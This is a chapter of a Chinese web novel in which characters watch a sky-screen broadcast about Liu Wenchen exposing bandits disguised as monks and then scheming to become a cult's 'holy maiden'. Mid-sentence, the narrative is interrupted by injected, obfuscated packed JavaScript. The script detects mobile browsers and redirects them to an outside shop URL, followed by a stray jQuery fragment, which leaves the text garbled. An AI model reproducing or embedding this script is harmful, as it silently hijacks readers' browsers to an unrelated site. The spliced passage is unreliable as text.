好学?
对,没错,他就是这样的人。
柳问尘听着周围和尚一声又一声不赞同的言论,也跟着附和:“这柳家六郎丝毫不懂佛法!如此偷师的行为着实是可耻至极!”
边说边把汤一碗一碗分出去。
贴心道:“天幕误了饭点,我担心师兄们饿肚子,就擅作主张拿出来……”
汤水都到了手边,又是正正合适入口的温度,和尚们自然没有不吃的道理。
直夸师弟用心。
又继续骂天幕里的那位柳问尘黑心肠!
深山道观。
愁眉苦脸的道长们看着天幕上那猴子般窜来窜去的莫问师弟,重重又深深的叹了口气。
这下好,全天下都知道师弟要偷师了。
偷就罢了,怎么还偷那群没头发的?若晓之以情动之以理入佛门认真去学,也不好说什么……
但,谁家的师弟谁了解啊!
直觉告诉他们!
莫问师弟绝对不会老老实实按部就班当和尚!
老观主胡子都不捋了。
镇定宣布:“清远,快去把大门关了,接下来闭观三月,全观上下不得外出,务必修心专道!”
几个道长都不等老观主说完,就纷纷冲去关门了。
日后约莫是……
不再得平静了!
【不仅好学,六崽行动力还特别特别强。】
【做完决定后,都不带犹豫!随意找了个溪边,拔出自己亲自打的长刀,手一抬,干净利落剃光自己的头发!】
盛朝百姓都没想到柳问尘这么果断。
哪怕是不识字的,都晓得身体发肤皆受之父母。
就算柳建业不是亲生父亲,还没告知一声,头发说剃就剃……
似乎不太妥当。
柳建业也觉得很不妥当,很不赞同!
剃头就剃头吧!
自己拿刀剃多危险啊?
就不能花点钱,去找个人帮忙吗?又是视角盲区,一个不小心可是会刮伤脑袋的!
年轻人,没轻没重,真是让老父亲忧心呐……
【大家可能不清楚,其实在古代想要去当和尚并不是那么的容易。】
【并不是剃光头发就是和尚,光头的还有**呢!】
【顺带科普古代一种刑罚,髡刑,也就是剃光罪人的头发,通常用于有身份的人,什么王公贵族士大夫之类的。】
【回到主题,和尚不是想当就
能当,也不是夜夜供个佛日日烧个香就能成和尚。】
【真正的和尚,那是得有度牒的!】
【说起度牒,这可是千金不换的好宝贝。】
许多百姓都无比茫然,度牒怎么就是宝贝了?
好些贵夫人贵少爷与贵小姐也不解。
倒是不少官员与富商富农,露出了然的神色。
度牒……
确实是个金贵玩意。
【咱们都知道,古代赋税重重,几乎做什么都要交税,又有徭役兵役。】
【哪怕是出行都处处受限,需要路引才能走四方。】
【拥有度牒的出家人就不一样了!以上的限制对他们来说都不是事!】
【只要拿到度牒,不仅行动自由,还能免除赋税徭役兵役……】
【寺庙需要持有度牒的真正和尚,偌大的寺庙,总不能只有一两个真和尚。至于香火钱,这些银钱到底用来做什么,还不都是和尚说了算?】
许多信众皱起眉头。
他们认为天幕此言太过,寺中师父都是方外之人,怎么会在意这些人间俗物。
【持有度牒就能享受如此福利,度牒不是宝贝还能是什么?】
【众所周知。】
【佛家向来讲究放下屠刀立地成佛。】
【拥有度牒甚至可以在一定程度上避免牢狱之灾!】
【这哪是度牒啊?】
【称金手指金钟罩都不为过。】
一辈子都在拼命生存的底层百姓听到后纷纷睁大双眼。
他们隐约知道和尚不需要交税,可万万没想到,不仅免税还有如此之多的便利啊!
哪怕是普通百姓,也有许多不清楚度牒不清楚当和尚如此之好的。
他们压根没有途径接触到相关的信息。
如今天幕一出,无不惊叹!
当和尚!真好!
【度牒用处如此之多,价格也异常昂贵。】
【某个朝代,咱们就不说是哪个了,总之不是盛朝。官府缺钱了,还会拿出不填名字的度牒,直接开价就卖。】
【赚得那是盆满钵满。】
【直接填满国库。】
【不卖不知道,卖了才发现,世上的有钱人真不少啊!】
天化帝神色微动。
但很快就打消念头,天幕既出,短时间内僧尼都会安分许多。
且若是人人都持有度牒。
谁还来交税?谁还会耕种?
【其实道教也有度牒,不过道教比较随
性自在,爱住在风景优美但人烟罕至的偏僻地方,又讲究顺应自然顺心而行。】
【住得远,钱没攒多少,买不起那么多度牒,自然也就低调些。】
【主播先在此郑重声明。】
【本草尊重所有的信仰,对佛教没有任何的不恭敬,仅仅是就事论事!如有冒犯,都是主播不对,先在此再三道歉。】
【当然,道教以及其他教派也同理。】
【不管有**仰,都是大家的自由!主播都尊重!】
柳建业看着主播开始顺滑进行致歉免责声明,啧,还是熟悉的网络味道。
搁这紧急致歉万物保命呢!
事实证明,天幕的致歉还是挺有用的。
至少盛朝许多方外之人以及信众神色都缓和了许多。
就事论事罢。
不生气,他们不生气。
一切法无我,得成于忍!忍!
【柳问尘自然是没有度牒的,他也想过要不要搞一个,甚至还写信给弟弟妹妹,托他们**试试。】
……
柳建业眯着眼,转头看向几个崽,语气冰凉:“你们谁参与了**?
崽们认真看天幕,仿佛没听到亲爹的质问。
只有茶弟,一脸无辜与柳建业对视,用实力派演技证明着‘我真不知道’。
【最后柳问尘也没用什么真假度牒,他忽然记起来,他是去偷师的,又不是去当真和尚的。】
【剃个头,去寺庙里干干苦力什么的,压根就不需要度牒。】
【什么地方都缺干活的人,什么地方都不会嫌弃廉价劳动力少,寺庙也不例外。】
【不出所料,柳问尘非常顺利成为寺庙中地位最低的光头沙弥,干最苦最累的活,吃最少最淡的饭。】
【强者从不抱怨环境!是金子也总会发光!】
【哪怕是新人光头沙弥,也能从挑粪连连晋升到厨房这种富裕的地方!】
【柳问尘终于能吃饱饭了,也终于观察出寺庙为何偏僻却香火旺盛了!】
【寺中最灵验的便是求子,其次是求财。】
【跟佛祖求?】
【不不不,佛祖哪里有和尚近?院里上下几十个男人呢……】
盛朝无数聪明人脸色骤变。
他们家中……
也有妻女常常上香!
这!这着实骇人听闻!
【主播都不用多说,大家便已经想到了吧?】
【这是一座淫寺!】
【夫
人们来上香后或是被迫或是被迷惑,糊里糊涂行事后屡遭威胁……】
【寺中淫僧极会识人,年轻未结婚的姑娘不碰,硬茬子也避之远之,专挑软茬子下手。】
【唉。】
【这世道向来是对女子无比苛刻的。】
【明明是受害者,却不敢言语,只因真相大白后十有**会比加害者下场还要凄苦。】
【至于求财……】
【柳问尘渐渐发现,寺中僧人识字较为粗糙,而且佛法比他这个学了几月的还不如!】
【他知道他天资聪颖悟性过人。但也不至于连老主持都悟不过他吧?那勉强能用来唬人的理念,在真接触过京城佛门大师的柳问尘眼里是丝毫不够看的。】
【柳问尘起了疑心。】
【趁机翻找度牒,一一查探对比,发现除了老主持外,其他所有人或是在年纪或是相貌总有些不符合!】
【他又继续观察,好些僧人哪怕故作温和,也总是不经意间流露出匪里匪气。】
【柳问尘更是无意间在寺庙后山发现尸骨。】
【原来,除了老主持外,其他人压根就不是僧人,而是土匪强盗所伪装!】
【求财手段就更粗暴了。】
【毕竟批上袈裟的强盗土匪有的是力气和手段。】
听到这话,佛教众竟下意识松了口气。
还好是土匪是强盗!
不然他们佛门的名声可就真坏了!
可怜了那些丧命的法师与受辱的无辜女子……
【柳问尘本想报官,但假僧人看得紧,几乎不轻易放人离山。再有数多女子着实无辜……】
【他想到了一个妙计。】
【趁着寺中每月避客休整,掏出了跟神医崽问来的奇药,下到煮得过咸的大汤锅里。】
【不消半个时辰。】
【寺庙里只柳问尘一人站着,其余恶僧纷纷伏倒在地不省人事。】
【真是不愧于他的法号。】
【一忘。】
【可不就是一网打尽了?】
寺庙中连连有人摔倒在地,再结合天幕提到的‘一忘’!
还有什么不明白的?
和尚们连忙在院中寻找起不久前还在给他们分汤水的人,还没看到对方身影,就已眼前一黑。
柳问尘躲在门后,半声不吭。
他可不是傻子。
这种时候不躲着,等被打不成?
也没有贸然上前查看,而是继续等待。
他
已经趁着和尚们看天幕,启动备用方案,将偷偷藏着养了个把月的鸽子放出去。
算算时间,人也该到了。
【柳问尘也没想着自己一个人解决那么多和尚,他又没什么**的爱好,也只下些昏睡麻醉又不至死的药物。】
【天色微暗,他掏出特意自制的烟花,连炸两个,在刀坊时结识的江湖中人纷纷赶来。】
【江湖是什么?】
【江湖就是侠肝义胆!】
【柳问尘在刀坊时帮过不少人,这不,他遇到困难了,大家纷纷赶来。】
寺门口传来杂乱的脚步声。
穿着五花八门的人群迫不及待涌了进来,先是把昏迷的恶僧都捆起来,方才迫切寻找起磨刀……
哦不,应
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169499|188299||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
该叫柳问尘。
领头的老大哥先看到从门口走出的柳问尘,他快步上前,脑子一个激动,也不知道该说什么,好半天,才问道:“这些真要捆送去官府?
【江湖人确实讲义气,把恶僧都捆起来后,犹豫许久,还是朝他们的好友磨刀问道:“真要绑去官府?】
【闹到官府,不管是江湖还是别的什么,可都不好使。】
【人就是再江湖,心里都是有些顾忌有些犹豫的。况且他们这作为也实在不够坦荡,鬼鬼祟祟,反倒更像是恶人。】
【届时若是被倒打一耙,那可就糟糕了。】
【柳问尘自信一笑,答曰:“我朝中有人。
【说完,又还多补两句。】
【“很多人,官大,够贵够重。】
柳问尘笑了笑。
他抬手指了指天幕。
哎呀,不知道为什么,神清气爽。
【可不是朝中有人吗?】
【有瑞宁长公主,够贵;状元大伯、将军兄长,官大;建业大爹加上俩神农兄姐,人多够重……】
【柳问尘报案也很巧妙,他丝毫没提夫人求子之事,只说寺中僧人全为匪盗所扮。】
【能掩便掩。】
【那县丞也是个好人,查清后并未声张,而且将案件往上送。】
【怎么说也是差不多将整个寺庙都灭门的**了,毫不意外自然是越报越高。】
【审判自然也不会在当地进行。】
【虽还是有些许风声走漏,但到底还是周全了许多女子的名声。】
柳问尘眉头微皱,高声说道:“不必送官了。
现在送去必然无法再保全名声,便是那些只偶尔路
过此地的女子都会平白无故被侮。
只要是个女子,怕都躲不过这一劫。
“先把他们捆紧些。
他把这些,给大伯送去。
没记错的话,大伯就在隔壁州,不远,日夜兼程也就多走几日路。
众人相互看来看去,最后被出手大方的柳问尘感动了。
争相帮忙。
他们,讲义气,很靠谱!
【此战之后,柳问尘顿时闻名半个江湖!】
【剩下半个是还没传到。】
【他拜别帮忙的好友,不忘初心,继续前往下一个寺庙。】
……
佛门子弟神情麻木。
不是吧?
就逮着他们查,哦不,偷师?
实在不行,就正大光明来他们正正经经的寺庙啊!佛门圣地无数,怎么总去些奇奇怪怪的地方?
【柳问尘一连去了好几个寺庙,道观也没放过。】
【也不知道是他运气不好,还是眼光足够独到,好的地方他都嫌弃香火不够,坏的地方稍作停留,一揪一个准。而且揪的手法都不同,明枪易躲暗箭难防防不胜防。】
【大概是所作所为过于独到,顿时传遍大江南北,各处宗教场所风气一肃,精神面貌好得不能再好。】
【柳问尘发现没地方收留自己了,长出头发的他也琢磨到那么一些东西。】
【没等找山头施行。】
【倒霉的邪教宣传到了他头上。】
【说错了,是倒霉的他碰上了正在村里宣扬教义还要大选圣女的邪教。】
【柳问尘又找到了新的目标。】
【他要当圣女。】
【没错。】
【他,一个史**载八尺高还去打铁练出结实肌肉的男子,要去当圣女……】
柳建业与各地的众崽全都目瞪口呆。
他们听到了什么?
谁?要当…圣女…女……
老六吗?
皇宫里正打算喝口水润润喉的天化帝直接被水呛到,脑海中不由浮现起柳问尘高大的身影。
记忆中对方长得与消瘦都挨不上边。
再去打铁……
放弃吧孩子。
换个办法,好吗?
某个洞天福地的道观。
老观主站起身:“贫道掐指一算,已是大关将至,清远,道观合该交由你……
“师父!不要啊!您才八十六岁,您还年轻!正是莫问师弟说的闯荡年纪!清远道长紧紧抱住老观主大腿,嚎啕大哭。
不,他不想回其他观的道友任何一封信!
这个观主之位,非到处炫耀小弟子悟性千百年难得一见的师父不可!
寺庙中柳问尘稍有错愕,但很快就理解了未来的自己。
圣女而已。
有什么比圣女还更快的打入邪教内部吗?没有了。
【就说哪个男的遇上邪教宣传会想着去当圣女啊?他甚至都没考虑过其他,直接将此定为目标。】
【是我境界不够!跟不上了吗?】
【大概这就是传说中的道法自然修心忘我吧?强者的思想,咱们普通人注定没办法理会。】
【但就很离谱!】
【他真当上了!】
【观众朋友们啊,他真的就当上了圣女!】
天幕女声破音。
柳问尘微微颔首,脸上稍带得意与骄傲。
他要,他当。
他就可以。
作者有话说:
[饭饭]
以后固定在早上六点更新,大家可以睡觉起来再看。
如有变动会另作通知。
营养液准备过万了,今天加更1800~[求你了]